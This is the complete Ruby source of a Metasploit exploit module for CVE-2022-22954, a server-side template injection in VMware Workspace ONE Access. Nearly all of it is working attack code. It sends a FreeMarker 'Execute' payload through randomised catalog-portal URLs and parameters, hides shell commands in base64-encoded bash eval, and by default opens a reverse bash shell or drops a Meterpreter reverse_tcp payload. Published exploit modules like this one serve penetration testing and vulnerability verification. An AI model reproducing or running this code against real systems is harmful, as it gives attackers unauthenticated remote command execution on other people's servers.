VMware Workspace ONE Access Template Injection / Command Execution

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  prepend Msf::Exploit::Remote::AutoCheck  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::CmdStager  def initialize(info = {})    super(      update_info(        info,        'Name' => 'VMware Workspace ONE Access CVE-2022-22954',        'Description' => %q{          This module exploits CVE-2022-22954, an unauthenticated server-side          template injection (SSTI) in VMware Workspace ONE Access, to execute          shell commands as the "horizon" user.        },        'Author' => [          'mr_me', # Discovery          'Udhaya Prakash', # (@sherlocksecure of Poshmark Inc.) PoC          'wvu' # Exploit and independent analysis        ],        'References' => [          ['CVE', '2022-22954'],          ['URL', 'https://www.vmware.com/security/advisories/VMSA-2022-0011.html'],          ['URL', 'https://srcincite.io/advisories/src-2022-0005/'],          ['URL', 'https://github.com/sherlocksecurity/VMware-CVE-2022-22954'],          ['URL', 'https://attackerkb.com/topics/BDXyTqY1ld/cve-2022-22954/rapid7-analysis']          # More context: https://twitter.com/wvuuuuuuuuuuuuu/status/1519476924757778433        ],        'DisclosureDate' => '2022-04-06',        'License' => MSF_LICENSE,        'Platform' => ['unix', 'linux'],        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],        'Privileged' => false,        'Targets' => [          [            'Unix Command',            {              'Platform' => 'unix',              'Arch' => ARCH_CMD,              'Type' => :cmd,              'DefaultOptions' => {                'PAYLOAD' => 'cmd/unix/reverse_bash'              }            }          ],          [            'Linux Dropper',            {              'Platform' => 'linux',              'Arch' => [ARCH_X86, ARCH_X64],              'Type' => :dropper,              'DefaultOptions' => {                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'              }            }          ]        ],        'DefaultTarget' => 0,        'DefaultOptions' => {          'RPORT' => 443,          'SSL' => true        },        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]        }      )    )    register_options([      OptString.new('TARGETURI', [true, 'Base path', '/'])    ])  end  def check    ret = execute_command("echo #{token = rand_text_alphanumeric(8..16)}")    return CheckCode::Unknown unless ret    return CheckCode::Safe unless ret.match?(/device (?:id|type): #{token}/)    CheckCode::Vulnerable  end  def exploit    print_status("Executing #{payload_instance.refname} (#{target.name})")    case target['Type']    when :cmd      execute_command(payload.encoded)    when :dropper      execute_cmdstager    end  end  def execute_command(cmd, _opts = {})    bash_cmd = "bash -c {eval,$({echo,#{Rex::Text.encode_base64(cmd)}}|{base64,-d})}"    vprint_status("Executing command: #{bash_cmd}")    res = send_request_cgi({      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, ssti_uri),      'vhost' => rand_text_alphanumeric(8..16),      'vars_get' => {        %w[code error].sample => rand_text_alphanumeric(8..16),        # https://freemarker.apache.org/docs/api/freemarker/template/utility/Execute.html        ssti_param => %(${"freemarker.template.utility.Execute"?new()("#{bash_cmd}")})      }    }, 3.5)    return unless res    return '' unless res.code == 400 && res.body.include?('auth.context.invalid')    res.body  end  def ssti_uri    %w[      /catalog-portal/hub-ui      /catalog-portal/hub-ui/byob      /catalog-portal/ui      /catalog-portal/ui/oauth/verify    ].sample  end  def ssti_param    %w[deviceType deviceUdid].sample  endend